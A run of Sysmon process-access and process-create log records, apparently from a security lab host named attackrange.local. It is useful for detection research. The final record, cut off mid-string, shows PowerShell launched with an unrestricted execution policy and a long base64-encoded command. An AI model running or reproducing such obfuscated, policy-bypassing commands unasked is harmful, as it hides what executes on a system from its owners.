ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.685","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8545,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.685\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.685","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8546,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.685\r\nSourceProcessGUID: {90617006-4375-5F2D-0000-001040ED1100}\r\nSourceProcessId: 876\r\nSourceThreadId: 3632\r\nSourceImage: C:\\Windows\\system32\\WinrsHost.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-00106A9D1100}\r\nTargetProcessId: 1696\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.685","SourceProcessGUID":"{90617006-4375-5F2D-0000-001040ED1100}","SourceProcessId":"876","SourceThreadId":"3632","SourceImage":"C:\\Windows\\system32\\WinrsHost.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-00106A9D1100}","TargetProcessId":"1696","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8547,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.685\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-00106A9D1100}\r\nTargetProcessId: 1696\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.685","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-00106A9D1100}","TargetProcessId":"1696","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8548,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.698\r\nSourceProcessGUID: {90617006-4376-5F2D-0000-0010B5ED1100}\r\nSourceProcessId: 3360\r\nSourceThreadId: 872\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4377-5F2D-0000-001064F21100}\r\nTargetProcessId: 1696\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.698","SourceProcessGUID":"{90617006-4376-5F2D-0000-0010B5ED1100}","SourceProcessId":"3360","SourceThreadId":"872","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4377-5F2D-0000-001064F21100}","TargetProcessId":"1696","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8549,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.730\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.730","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8550,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.730\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.730","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8551,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.730\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.730","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:12","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8552,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.799\r\nProcessGuid: {90617006-4377-5F2D-0000-001020F31100}\r\nProcessId: 2488\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgB